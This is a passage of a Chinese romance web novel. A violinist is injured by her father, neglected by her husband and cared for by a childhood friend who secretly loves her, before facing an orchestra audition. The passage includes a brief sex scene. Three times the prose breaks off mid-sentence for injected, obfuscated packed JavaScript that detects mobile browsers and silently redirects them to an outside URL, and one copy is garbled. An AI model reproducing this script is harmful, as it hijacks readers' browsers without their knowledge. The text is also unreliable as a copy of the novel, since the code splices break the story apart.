陆父坐在对面,却是寒着脸数落道:“既然是答应好的事情,为什么不早点出发?都二十六岁的人了,还是老样子,没有一点长进!” 陆照霜方才扬起的唇角又抿了起来。 自从五年前,母亲章若华去世,她和父亲的关系就越来越差,几乎再没有好好说过话。 她垂下眼,温顺又机械地回答,“知道了,下次我会注意。” 下一瞬,一只宽大手掌从后按住她肩膀,迫使她重新挺直脊背,萧烨带笑的声音跟着在头顶响起。 “这可怪不到阿霜身上,都是我在国外待久了,忘了申城的路况,临走前阿霜还催了我半天呢,陆叔叔你要是怪阿霜的话,那我只能回家跪键盘谢罪了。” 陆父这才脸色稍霁。 萧烨拉开陆照霜身边的椅子坐下,夹了一筷子菜到她碗里,用口型对她说:“好好吃饭。” 陆照霜握着筷子的手一紧,“嗯”了一声。 她实在不愿意再去分辨,萧烨这番维护,是不是只在表演恩爱夫妻。 萧家父母看着他们小夫妻的亲密,都露出欣慰的笑容。 话题很快在萧烨的引导下转移,气氛重新热闹起来。 陆照霜一直都知道,只要萧烨愿意费心,他真的能让大家都喜欢他。小时候她还会因为这种事生出一些微妙的嫉妒,现在反倒庆幸起这种躲在影子里的清净。 可惜,话题转过好几轮,最终还是回到了她身上。 萧母问:“阿霜,听说你们乐团又要选首席了,怎么样,这次有把握吗?” 陆照霜暂且搁下筷子,谨慎回答:“毕竟是公开招聘,可能会有其他地方来的候选人,我也没有百分百的把握,只能全力以赴。” “肯定没问题的,阿霜从小就是太谦虚了,”萧母轻轻拍拍她的手背,又斜睨了一眼萧烨,“换了这臭小子,早就开始显摆了。” “我算是明白了,不管说什么,最后都得拐过来骂我一句。”萧烨耸耸肩,以示自己平白被卷进去的无辜。 这一幕太过家常,陆照霜不禁翘起唇角。 突然,萧父叫她,“阿霜。” 陆照霜立刻收敛笑意,正襟危坐。 萧父双手交叉撑在桌上,斟酌着说:“你看,你在这个乐团也忙活了这么多年了,不管这个首席选不选得上,是不是都得开始收心了呢?” 陆照霜安静听着,一时没有作声。 萧母又道:“阿霜,也不是说让你现在就回公司工作,毕竟若华一直希望你代替她成为首席,阿姨知道你为了若华的遗愿一直很努力,咱们可以考虑明年或者后年,总之先准备起来……” 原来是这么一顿鸿门宴。 陆照霜已经有点厌倦了,但面上却没有表露出来,只是放下筷子,微微歪着脑袋,做出认真思考的表情,而后笑着回答:“好,我会认真考虑的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861633|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧家父母笑容宽慰,这一茬本该就此揭过,谁料桌对面传来陆父的冷嗤。 “当面一套背后一套,跟你说了这么多遍,你除了口头上答应,听进去过一次吗?”陆父抱住胳膊,黑沉着脸,末了忽然来了一句,“跟你妈一个德行!” 陆照霜倏然抬眼,隔着一整张餐桌,看向父亲,笑意不达眼底,“妈妈怎么了呢?” “老陆!少说两句!”萧父出声劝阻。 然而父女两之间的禁区已经被点燃,陆父继续冷嗤道:“好话一句也不听,正事一样也不干,天天发疯一样待在那个破乐团,除了把自己身体折腾成那样,她最后捞着什么了?我早就该把她那把破琴砸了!” 陆照霜还是那副温温柔柔的语气,“妈妈做的事怎么不是正事了呢?爸爸在商界的成就,和妈妈在音乐上的成就,好像根本不能相提并论吧?” “啪!” 陶瓷杯从对面掷来,擦过陆照霜的额角,在地面上摔得四分五裂。 屋内霎时噤若寒蝉,只剩下陆父喘着粗气的声音,“我怎么会生出你这么不孝顺的女儿?” 陆照霜摸了一把刺痛的额头,出了点血,但不是很严重。 “抱歉,叔叔阿姨,打扰你们吃饭了,今天我就先回去了。”她没有看向陆父,垂下眼转身离开。 身后乱做一团,桌椅杯盘碰撞在一起,爸爸大喘着气念叨着“不孝女”,叔叔阿姨在一边连声劝和。 其中一个声音尤为清晰。 萧烨说:“陆叔叔您消消气,我回去劝劝阿霜。” 陆照霜一时更加厌倦,脚步加快,在玄关拿过自己的衣物,推开大门,走进四月末的夜色里。 天气只有一点些微的凉,所以她也就把外套挂在臂弯,偏头看着路边淡粉的花骨朵,乱糟糟地想,樱花的花期似乎快要到了。 红色超跑不紧不慢地跟在她后面,见她实在不为所动,车主才下了车,缀在她后面,出声轻嘲。 “前面听你糊弄我爸妈,还以为你终于有点长进了,结果一跟陆叔叔对上,又原形毕露。顺着他们,面子上过得去就行了,又不是真让你按他们说的来,你到底什么时候能收敛一下你这个脾气?” 陆照霜顿住,转回身,一字字问:“我还不够收敛脾气吗?” “哈?”萧烨很好笑地挑眉,“你不知道你跟陆叔叔说话的那个语气有多阴阳怪气吗?” 她抿紧唇,掉头就走。 萧烨一把拽住她的手,目光扫过她额角的伤口,语气放缓,“好了,大小姐,在长辈们面前摆摆谱也就算了,赶紧上车吧,回家给你处理伤口。” 打趣的称谓,是在哄她的意思。 但他语气如此漫不经心,总让她觉得,萧烨其实根本没有把她经历的一切放进眼里。 她垂下眸,“你先回去吧,我想一个人静静。” 萧烨语气就有点不好了,“差不多得了,又不是我惹的你,跟我发什么火?” 看,他对她的耐心就只有那么一点。 陆照霜倏然把手抽回来,有点心灰意冷,“反正也不过是在长辈们面前表演恩爱,现在又没人看着,你还有必要在这里装着关心我吗?” 萧烨脸色冷了下来,“哈,也是,你自己的伤口自己都不急,我上赶着干嘛?” 说完,他看也没往这边看一眼,摔上车门,绝尘而去。 陆照霜面无表情,折身走向萧烨相反的方向。 走出一阵,听到身后传来脚步声。 吵架的时候都没有委屈,这时她却委屈顿生,也不肯回头,语气生硬地赌气:“你走都走了,又回来干什么?” 然而响起的,却不是萧烨的声音。 “阿照。” 她愣了下,一时没有防备,手腕被从后捉住,猛地被拽了过去。 郁思弦焦急的表情映入她的眼帘。 5. 第 5 章 “思弦,你怎么在这?”陆照霜怔怔问。 郁思弦呼吸还有几分急促,没有忽略陆照霜眼里一闪而过的失望。 她期待的人当然只会是萧烨,不可能是他,他早都习惯了,此刻更是顾不上这一点。 他死死盯着她额角斑驳的血痕,“谁做的?” 郁思弦声线里带着几乎难以压抑的冷沉,攥着她的那只手紧到她都有些疼了。 好陌生。 陆照霜一时噤声,下意识想避过他视线。 见她不答,郁思弦的手指径自拂开她额前的发丝,仔细观察着她额角的伤口。 片刻后,郁思弦目光下移,定定直视着她的眼睛,又问了一遍,“谁做的?” 任何吵架都与体面无缘,更何况是和最亲的家人吵架,就更加丑陋不堪。 陆照霜眼睫微垂,含混道:“和我爸起了点冲突,没什么大事。” “平白无故,什么冲突能到动手的程度?” 郁思弦向来敏锐,若是铁了心想知道,她必然是瞒不过的。 陆照霜无奈坦白:“吃饭的时候聊起乐团的事情,你知道的,我爸一直想让我回公司工作,然后我们吵的时候提起了我妈,我说话也有点冲,就变成现在这样了。” 他们父女两一提起章若华,就一定会吵起来,这已经是大家的共识。 郁思弦深吸了一口气,忍了又忍,才没有对长辈说出一些很不敬的话,又问:“萧烨怎么回事?他把你一个人丢在这里不管吗?” 陆照霜虽然正和萧烨赌气,但也并不觉得这点伤有什么大惊小怪的必要,便随口解释了一句,“小伤而已,我想一个人散散步,所以让他先走的。” 不知道为什么,这话一出,郁思弦的表情好像更冷了。 郁思弦定定看了她一会儿,然后别开头,声音放缓了一点,“走吧,去我家给你处理一下伤口。” 她犹豫了一下,“你怎么在这,是有什么重要的事要处理吗?” “只是回老宅找点东西,正巧看到你和萧烨好像不太对。”他说到这里,语气又有点生硬。 陆照霜注意到,郁思弦额边的发丝有点被汗水打湿了,像是过来找她找得很着急。 她有点不好意思,更不愿拖拖拉拉给他再添麻烦,便说:“那走吧。” * 萧烨回到江源名苑,手机扔到一边,仰面躺进沙发里,看着空荡荡的屋子,一腔莫名的烦躁。 忽而手机铃声响起,他连忙去接,看到是母亲的来电,不免呆了一下。 片刻后,他忽略心头的异样,接起电话。 萧母问:“阿霜怎么样了?” 萧烨随口扯了个谎,“刚处理完伤口,已经去睡觉了,陆叔叔呢?” “好点了,你爸陪着一起下棋呢。” “那就好,”萧烨放心了一点,转头又抱怨道:“以后别当着陆叔叔的面聊这种话题了,再说,阿霜喜欢玩音乐就让她玩,碍着谁什么了,逼她干什么?” 听着自家儿子这种护犊子的话,萧母非但没有生气,反而笑得更开心了,“你们俩关系好比什么都强,我早就跟你说过,结婚就得是阿霜这种知根知底的孩子,你非不信,老惦记着那个白斯榕——” “妈,”萧烨蓦然打断了萧母的话,声音凛冽,宛如寒冬腊月的雪。 他一字一句道:“她人也被你们赶走了,婚我也结了,事到如今,还提她干什么?” * 陆照霜跟着郁思弦到了门口,身体不由自主紧绷起来。 所有这些家长里,她最害怕的就是郁父。 郁思弦没错过她的反应,目光柔和下来,“我爸他们已经搬到别的地方住了,这栋房子过户给我了,你不用担心碰到他。” 他按下密码解锁,拉开门请她先进。 陆照霜讶然,“什么时候的事,怎么没听你说过?” “去年,反正也不怎么回来,就忘了提。” 郁思弦找出没用过的拖鞋拿给她,自己起身去拿药箱。 陆照霜已经很久没有来过郁家了,起先还有几分拘谨,然而客厅内的装潢却越看越熟悉。 她惊疑道:“你是不是把这里重新装成了小时候的样子?” 郁思弦背对她,身影微顿。 随后,他若无其事地说:“嗯,我不太想看见那些人留下的痕迹。” 陆照霜了然。 郁思弦六岁时搬到南郊别苑,七岁时父亲再娶,很快生下幼子,对郁思弦更加冷落。 他不想看见继母和同父异母弟弟的痕迹,这理由再充分不过了。 她有点怀念地在沙发上坐下,环顾四周。 小时候她最熟悉的陆家和萧家,现在一个只留下和父亲争吵的回忆,一个变成了地位尴尬的“婆家”,都变得越来越陌生。 反而是最害怕的郁家,却退回了他们幼年时的状态。 人生还真是出乎意料。 郁思弦提着药箱过来,随手扯了把椅子,坐到她对面,一边打开药箱往外拿碘伏,一边示意她,“把伤口露出来。” “其实贴个创可贴就好了。”陆照霜觉得他十分小题大做。 他平静与她对视,显然没有让步的意思,陆照霜只好用手把头发撩起来。 郁思弦微微倾身,简单清理过后,用棉签沾着碘伏,动作很轻地擦拭着伤口,做这些时,他没忘记观察她的神色,像是怕她觉得疼似的。 客厅的顶灯被郁思弦的身影挡住,在她眼前投落一片漆黑的阴影。 陆照霜不由想起方才在街边,郁思弦把她拽过去的那一眼。 高大、强势、且陌生,不知道为什么,有一瞬间,她竟然觉得害怕。 兴许是因为他们很少距离那么近,身形高大的人总是更容易给人压迫感。 陆照霜隐约觉得似乎还有什么地方不对,但又没有别的解释,只能是因为这样。 她心情复杂地喃喃:“你怎么突然比我高这么多了?” 郁思弦这样惯来八风不动的人,此刻竟也有些一言难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861634|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽,“阿照……我从十几年前就比你高了。” 陆照霜歪头打量着他,忽然想起一个说法,说人在0.1秒内就会对陌生人形成潜意识评价。 这一点在他们的关系中仿佛得到了最完美的印证。 一直以来,陆照霜印象里最深刻的,始终是二十年前初见郁思弦的那一眼。 那天从早上开始,搬家公司就一直在隔壁进进出出,吵闹不停。 陆照霜新奇不已,在二楼抓着栏杆,踮起脚,越过两家间的墙壁,试图偷看她的新邻居。 然后在来来往往的人群里,一眼看到了郁思弦。 小男孩被高大严肃的男人牵着,跟不上成人的步伐,脚步踉踉跄跄。 然而他脸上却没有任何抱怨,只有一种无机质般的木然,很快就消失在了紧闭的大门后面。 那样的表情,配上他漂亮精致、却苍白得毫无血色的脸,简直像橱柜里供人展览的人偶。 妈妈们在身后的茶室里叹息,断断续续传来“枪击”、“意外”、“说不出话”、“只活了一个人”、“可怜”等的字眼。 但她什么也没听进去,只有那像极了人偶般的遥遥一瞥,久久留在她的脑海里。 后来的很多个瞬间,陆照霜都觉得郁思弦如初见一般淡漠,与世界之间既没有任何联系,也没有任何诉求,随时都会消失不见。 就像这两年来,他在她的生活里逐渐淡去一样。 但郁思弦也会惦记着一件她自己都不在意的风衣,也会一边帮她处理伤口、一边担心弄疼她,人情味多到和人偶毫无瓜葛。 陆照霜再没有见过像郁思弦这样矛盾的人。 “思弦,你想不想知道,我对你的第一印象是什么?”她忽然生出好奇。 郁思弦捏着棉签的手指一顿,语调没什么起伏,“不太想知道。” 他十分清楚,无论陆照霜的第一印象是什么,都一定不会是他希望留给她的印象。 陆照霜也并未失落,“也好,反正你现在比以前好多了。” 郁思弦手上重新开始动作,声音有点无奈,“虽然很感谢你还记得那么早的事情,不过那时候我的状态很糟,如果可以,还是忘掉吧。” 陆照霜笑了笑,又问:“所以,你早就不记得第一次见我是什么时候了?” 郁思弦抬眼,好像困惑于她怎么会问这种理所当然的问题,“我记得,你和叔叔阿姨一起来的。” “啊……你记得的是那天。”陆照霜恍然了一下。 “那次是我和萧烨一起去的,你应该对我没什么印象了,”她耸肩笑笑,像在陈述一件无可奈何的定理,“从小到大都是这样,大家总是对萧烨印象更深。” “不是。” 郁思弦执着又笃定地轻声重复,“不是。” 陆照霜疑惑地抬眸。 “不是”的后面,通常会跟一句解释。 但郁思弦已经偏过身,把碘伏放下,转而拿起了一支药膏。 看起来并没有想解释的意思。 6. 第 6 章 陆照霜没有强迫别人的习惯,也就没有再问。 她一手撩起头发,一手撑在身侧,闭着眼睛,微微仰头,方便郁思弦涂抹药膏。 触及伤口,有些微的疼痛,她因生理反射蹙了下眉。 郁思弦的动作更轻了一点,“很疼吗?” 陆照霜笑了,“这点伤真的不算什么,你用不着在意。” 像是怕他不信,陆照霜还补充了一句,“真的。” 郁思弦看着她无所谓的笑容,手里的药膏好像突然有了重若千钧的重量。 被逼着换工作,被亲生父亲砸伤额头,被丈夫独自落在路边。 他恰好回老宅找点东西,才会偶然发现这件事。 那在他一无所知的其他日子里,究竟发生了多少类似的事情,阿照才能习惯到,浑然无事地笑着,还让人别在意呢? 郁思弦低声说:“阿照,你可以觉得疼的。” 陆照霜眼睫不由自主地颤了一下。 就好像幼时学自行车,跌跌撞撞摔了一跤,膝盖出了血,但抬头时却发现四周空无一人,因此也就没有了哭的意义。 等自己一瘸一拐扶着车回了家,看到妈妈担心的表情,那种隐秘的痛感才后知后觉地涌现,一下子委屈顿生,眉梢眼角都耷拉下来,扑进妈妈怀里说“妈妈我好疼。” 但那是小孩子的特权,对现在的她来说,连这种委屈感的产生,都是让人觉得棘手的东西。 幸而她可以借着涂药的借口继续闭眼,不必泄露自己的情绪,也不必去直面郁思弦眼里可能的关切或者同情。 “其实这只是个意外,”她用开玩笑的语气说:“这种意外可不多见,没想到正好被你撞见了。” 郁思弦严肃地叫她的名字,“阿照,这不是该一笑置之的事情。” 陆照霜的笑容也就慢慢消失不见,她低下头,目光没有焦距地盯着地面。 “那还能怎么办呢?我妈想要我替她成为首席,我爸想要我回公司工作,总会有人不满意,我只是选了站在妈妈那边而已。我已经习惯了,不过下次我会注意,不会再搞成现在这样了。” 郁思弦的口吻几乎是难以置信的,“阿照,你怎么可能只有这两个选择?” 陆照霜颇觉好笑,“那还有什么?总不能把我自己劈成两半吧?” 郁思弦沉默了片刻,随后,宽阔的手掌落在她头顶,很轻很轻地按了一下,几乎像是一种安抚。 陆照霜心里微微一动,抬头时,却被郁思弦的手臂挡住,看不清他的表情,只听到他说:“阿照,那个选择,或早或晚,你总会发现的。” 她茫然片刻,郁思弦已经收回手,将纱布贴在她额头,完成了最后一步。 郁思弦将药品全部收回药箱,转身放回柜子,留给她一个背影。 “走吧,阿照,我送你回家。” …… 同样是坐郁思弦的车,但和昨晚的疏离不同,今天回程的路上气氛很融洽。 不知不觉,就已经抵达江源名苑,郁思弦把车停在陆照霜家门口的香花槐下。 一串串漂亮的花影,被银色的灯光打在车前窗上,风从半敞的车窗吹进来,拂过颈后的肌肤,是十分舒爽的温度。 陆照霜几乎有种重归童年般的错觉。 “我们好像很久没有这么好好聊过天了,以后也多出来聚聚吧,再叫上萧烨,以前我们三个不是还经常躲在房间里一起看漫画的吗?” 说完,她立刻觉得自己有点得意忘形了,不好意思地笑了下,解开安全带,握住了车门拉手。 “谢谢你送我回来,思弦,晚上回去好好休息,再见。” 道过别,车门却没有拉开。 因为中控台没有解锁。 她回头去看,困惑不解。 郁思弦偏头看着她,手还搭在方向盘上,并没有要解锁放她出去的意思,“据说总是怀念过去的人,是因为现在过得不好。” 陆照霜蓦地睁大了眼。 带着花香的微风带起一阵凉意,那种静谧安宁的错觉一扫而尽。 她直视着郁思弦的眼睛,郁思弦并不回避,目光一错不错落在她身上。 那种直白的攻击性,叫她有种一脚踩进陷阱的慌乱。 郁思弦问:“阿照,你现在是不是过得不好?” * 陆照霜推开门,客厅没开灯,只有电视屏幕亮着,上面正播放着一部法语电影。 萧烨坐在沙发上,因为开门的声音扭头看过来,电影幽幽的光照在他脸上,有种异样的严肃。 “怎么现在才回来?”萧烨意味不明地问,目光从她身上扫过,最后停留在她额角的纱布上,“谁给你包的?” 那个伤口处理得十分干净整齐,不像是陆照霜能给自己处理出来的样子。 陆照霜本就心情糟糕,此刻听到萧烨的质问,更是烦躁,她踢掉鞋子,把衣服和包丢在玄关。 “路上碰到了思弦。”她没有理由隐瞒。 “这样啊。”萧烨重新把头扭了回去,盯着电影的表情意外得紧绷。 也许是因为那部电影的情节非常严肃吧?陆照霜有一搭没一搭地想道。 她也就没有再说什么,独自上了楼。 避着伤口简单冲过澡后,她躺到了床上。 心情起伏太大,好像也会消耗身体的能量,她此刻只觉得自己全身疲惫至极,但还是睡不着。 精神上绷着一根弦,一遍一遍,将她拉回车上那一幕。 “你现在是不是过得不好?” 仔细想来,郁思弦昨天就问过相似的问题——“你今晚是不是不太高兴?” 她自己的生活一团糟是一回事,但被别人指出来就是另一回事了。尤其,那个人还是郁思弦。 见证了她如何头脑一热闯进这段婚姻的郁思弦。 陆照霜将头伏进枕中,几乎要被羞耻感淹没。 “咔哒”一声,卧室门打开了。 那部电影这么快就看完了吗? 她听到萧烨一言不发地走进浴室,响起一阵很短的淋浴声,没一会儿,床垫在那一侧微微塌陷,萧烨上了床。 她几乎是挨着床沿睡的,背对萧烨,没有回头去看。 沉默一阵后,响起窸窸窣窣的声音,热源靠近了她的脊背,萧烨坐到了 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萧烨不会理解,即便理解了,也不会在乎,说不定还会讽刺几句她的自作自受。 那些隐隐作痛的心思百转千回,说出口时,就变成了反唇相讥,“你是有什么强迫别人的变态嗜好吗?” 萧烨眉梢微挑,“本来没有,但现在有了。” “况且……”他慢条斯理地,把自己湿淋淋的手指展示给她看,然后在她被揉皱的睡衣上留下斑驳的指印,“我看这也算不上强迫。” 陆照霜烦躁地撩了把头发,今天她够心烦的了,懒得再跟萧烨争辩生理反应这种事。 她深深呼吸几口,伸手拽住萧烨的衣领,翻身坐到了他身上,手掌按在他胸口,将他压下去。 萧烨眉梢挑起。 他们分居两国,聚少离多,因此两年来做过的次数并不算多,不管是因为羞涩还是因为不适应关系转变,总之陆照霜一直是配合的那一方。 这还是第一次,她来掌握主动权。 这个气生得还真是……别开生面。 萧烨眼神黯了黯,“哈,大小姐,拿我当你解闷的工具呢?” 陆照霜感受了一下他此刻高涨的兴致,垂眸看他,“你想说你不愿意?” 萧烨勾起唇角,双手枕在脑后,一副任君采撷的架势,“不,你随意。” 陆照霜原本就不讨厌和萧烨做这种事,由自己把控节奏后,身体更是做出了很诚实的反应。 但心情却并未因此好起来,好像生理上获得的愉悦越多,精神就越发消沉。 萧烨一点也没发觉她的失神,按捺不住,干脆坐起身,把她的后脑压下来,迫切又凶猛地和她接吻。 最后一刻,身体和心理彻底被割裂成两半,她无法自控地流下了眼泪。 “这就哭了?你也就这点能耐了。”萧烨显得十分餍足,语气里透着显而易见的亲昵,在她眼角温柔地亲了亲。 陆照霜抱住他的脖子,心里很空。 她没法告诉他,她不是为这个哭的。 7. 第 7 章 四月末,首席考核的复试如期而至。 从清晨起,陆照霜胃部就持续传来绵密的痉挛,她已经很多年没有这么紧张过了。 这种情况下,自然也没什么胃口,但为了保证体力,她还是强迫自己坐在了餐桌前,尽力吃点东西。 萧烨裹着睡袍坐到了她对面,打着哈欠问:“今天起这么早?” 陆照霜握着筷子的手一顿,胃部痉挛得更厉害了。 她垂下眸,尽量控制着自己的情绪,“我早就告诉过你,今天我要去参加复试。” “是今天吗?抱歉,脑子没太清醒。” 萧烨眨了下眼睛,恍然大悟一样,目光逡巡过餐桌,然后端起一杯牛奶和她轻轻碰杯,尝试补救:“祝你今天旗开得胜。” “……谢谢。”但她到底没有再拿起过那杯牛奶。 一直到早餐快要用完,萧烨仍旧好整以暇地坐着,丝毫没有陪她一起去的意思。 察觉到她的注视,萧烨抬眼,“怎么了?” “没什么。”陆照霜微微抿唇,打开手机,通知家里的司机来接她。 其实也谈不上很失望,毕竟一开始就知道希望不大,反而因为这一遭,连胃痛都稍稍缓解了,也算是因祸得福。 她苦中作乐地想着,平静地抵达了申城音乐厅。 候选人只有十二位,但大都是国内外有名有姓的小提琴演奏家,休息室内的紧张气息如有实质,一触即发。 工作人员拿着抽签盒进来,大家挨个排队抽签。 陆照霜是九号,不太有利的位置。 她只皱眉看了一眼,就把号码牌收好,闭上眼睛默默复习曲谱。 “照霜,喝点水。” 陆照霜睁眼,就看到她在乐团内的好友汪嘉文端着一个托盘,正在分发纯净水。 “谢谢。” “别客气。”汪嘉文摆摆手,她也是小提琴手,只不过初试都没过,今天只是来当志愿者的。 分发完一圈,她站到陆照霜身后,小声嘀咕道:“唐颖都快把你盯出火星子了。” 陆照霜闻言望去,就见唐颖狠狠瞪了她一眼,然后转身出了休息室,像是一分钟都不想和她多待。 汪嘉文啧了声,“她戏真多,别理她,保持好自己的状态。” 陆照霜笑了笑,“我知道。” 她和唐颖共事五年,很清楚唐颖的实力,今天她真正的对手另有其人。 她不动声色地望向远处,3号候选人是个西班牙裔女孩,正兴致勃勃拉着其他候选人聊天,自在得就仿佛一个观光游客。 但事实上,这两年她在国际上声名鹊起,是备受瞩目的新人天才,杰奎琳·纳尔森。 “3号!” 杰奎琳冲其他候选人比了个飞吻,就转身进了音乐厅。 陆照霜凝神听着从厅内传出的乐声。 杰奎琳的演奏速度极快,炫技的难度大大增加,乐曲被赋予了西班牙人的热情奔放,简直像是在跳弗拉明戈舞。 陆照霜听了没几分钟,就已经心下一沉。 无可指摘的高超技巧、让人难忘的个人风格,这两者完美结合,足以摧毁其他人的自信心。 “天哪,她这种水平的人为什么会来我们这里?”汪嘉文不由自主惊呼出声。 没有人接她的话,整个休息室内鸦雀无声,陷入一片死寂。 陆照霜攥紧手里的纸杯,几乎要将杯子捏变形。 她和杰奎琳策略一致——提高难度、展示技巧。 但她现在已经可以确定,技巧上,她至多做到和杰奎琳持平,情感表现上却远不及杰奎琳的浓烈鲜明。 这样下去,她必输无疑。 * 华纳海姆酒店,商务包间。 持续多天的拉锯战终于抵达尾声,谈判桌两边的团队签下合同。 “郁总真是年轻有为,看来下次谈判我可不能再掉以轻心了啊。”郑总看着对面这个姓郁的年轻男人,语气颇有点咬牙切齿的味道。 郁家是影视娱乐业的巨头,郁思弦作为郁家长子,近几年已经完全接管了流媒体板块,据说他最擅长步步为营,于不经意间给人致命一击,不可小觑。 对这种风闻,郑总向来一笑置之,一个26岁的富二代而已,能有什么真能耐?却不想最后被对方狠狠啃下一块肉。 郁思弦八风不动,丝毫没有被对方带刺的话影响到,客气地同他握手,“郑总谬赞,这个项目将来还得请您多关照。” 将对方团队送走以后,郁思弦看着腕表,眉头微微蹙起,单手松了下领带。 在整个谈判过程中都镇定自若的男人,这时仅仅看了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861636|176058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕表的时间,就流露出显而易见的焦躁。 秘书眼观鼻鼻观心,“您之后的行程已经空出来了,需要我送您去音乐厅吗?” 那位郑总恐怕不会知道,现在的合约,已经是他家老板速战速决的结果。 每当他家老板要去听陆小姐的音乐会时,就会这样高强度压缩时间,把一整天都空出来,像是留出了足够充足的余裕,可以陪在陆小姐身边。 他跟在郁思弦身边好几年,已经完全习惯了这种事。 但他同样也很清楚,那些空出来的时间,最后大多只是以他家老板选择加班告终。 郁思弦眼睑微垂,指尖轻敲表盘。 今天这场考核的意义非比寻常,不去看她一眼,他实在无法放心。 然而阿照甚至没有告诉过他复试的时间,他如果现在赶过去,会不会太过冒昧?上一次见面他贸然试探,显然已让阿照有些抵触了。 就算他现在已经确信,阿照和萧烨之间真的有问题,但那并不代表他就可以随心所欲、草率行事。 郁思弦太清楚,朋友、婚姻、萧烨、还有他无法示人的心意……他们的关系夹在这些东西之间,脆弱不堪,行差踏错就会万劫不复。 心思流转间,忽瞥见楼下有熟悉人影经过。 萧烨走进大厅,表情比平时要严肃一些,身后跟着几个西装革履的男人,握着文件夹正汇报着什么。 华纳海姆酒店的高端会展服务在申城最为出名,约莫是什么工作会议。 郁思弦再次看向腕表,很快算了下时间,这个点从江源名苑赶到华纳海姆,那萧烨就不可能有时间送陆照霜去音乐厅。 萧烨总不可能是不知道,今天对阿照来说意味着什么。 郁思弦眸光渐渐冷了下来,看着萧烨的背影消失在了电梯内。 他不再犹豫,朝秘书伸出手,“钥匙给我,你自己先回公司。” 车子开在前往申城音乐厅的路上,半敞的车窗把四月末还有点凉的早风送进来,却吹不灭他此刻脑内灼热的念头。 郁思弦无可救药地意识到。 比起失望于萧烨的怠慢,他或许更庆幸萧烨给了他可以去找陆照霜的借口。 就算用再多冠冕堂皇的理由粉饰,到头来,他也不过是个卑劣的窃贼,觊觎着萧烨指缝中漏出的零星时光。 8. 第 8 章 申城音乐厅。 杰奎琳演奏结束后,连着好几位候选人都心态失衡,频频失误,唐颖从音乐厅出来后,更是直接哭出了声。 但陆照霜没时间哭,她瞳孔失焦盯着地面,一个个新策略在她脑内出现、否定、再出现…… “9号!” 到她了! 陆照霜长呼出口气,站起身,抚平身上的黑色礼裙,拿起自己的小提琴,走入音乐厅中。 舞台上灯光明亮,其他地方则都是暗的,就好像全世界只剩下自己一个人,能够信赖的人,也就只有她自己。 她想到了个新主意,但已来不及考虑周全,只能上了。 她以手抚胸,朝评委席鞠躬致意,然后闭上眼睛,右手持弓。 有了杰奎琳珠玉在前,评委们都有些好奇,这位备受他们期待的年轻团员,今天要怎么和杰奎琳竞争炫技。 但《恰空》的第一声出来,陆照霜的速度却极为克制,并不特意突出技巧,而是精确把握音准和节奏,通过层次分明的复调声部,展现《恰空》的悲怆肃穆。 台下,评委们的表情渐渐严肃起来,朱高远下意识地前倾身体。 到了《D大调小提琴协奏曲》,陆照霜灵巧利用揉弦,去突出柴可夫斯基那种俄罗斯人恢宏盛大的感动和忧郁。 陌生乐队片段视奏的部分,她谨慎地保持了一以贯之的精准程度,一次也没有出过错。 这就是她的新策略。 她要反其道而行之,如果说杰奎琳更像个性鲜明的独奏者,那她就要专注于对乐曲本身的诠释,展现她的多面性和对乐团的适应性。 没有经过任何排练,只有发热的身体凭借本能去把握所有节奏,比任何一场演出都更累。 最后一弓拉完,陆照霜抵着颈边的小提琴,感觉汗水已经湿透了脊背,她深深呼吸好几口,才再次鞠躬行礼。 评委们的表情看不分明,也没有观众的掌声作为判断依据,她心头七上八下,不能确定她临时改换的策略是否可行。 一出门,却立刻撞上了五官明艳的西班牙女孩。 杰奎琳兴奋地扑过来,用英语打招呼,“嗨,你叫陆?你刚才的演奏很棒!我想,最后赢的人是你还是我都不奇怪。” 刀子一样的目光从四面八方射来。 陆照霜万万想不到,这位天才竟然脱线到了这种程度,她此刻恨不能钻进地底,看杰奎琳还想继续说,赶忙拉着杰奎琳到僻静处。 杰奎琳茫然地眨着眼。 “谢谢你的欣赏,”为了掩饰这种冒昧的尴尬,陆照霜小小开了个玩笑,“我本来还以为,你不会喜欢我这种没有个性的学院派。” 杰奎琳睁圆了眼睛,“天哪,是谁说你的演奏没有个性?” 是我妈妈,陆照霜心想,却只是微笑着摇了摇头。 杰奎琳气鼓鼓地撇了下嘴,“那个人可真是没有眼光,你的风格确实很压抑,如果说你的感情本来是这么多的话——” 她将双臂展开,拉开足有两个她那么宽的距离,又幅度很大地收回来,只留下寸余长度,“那你现在,就是把所有感情压成了这么小的一点!” 陆照霜被她这孩子气的动作逗得一笑,却因她的下一句话愣在当场。 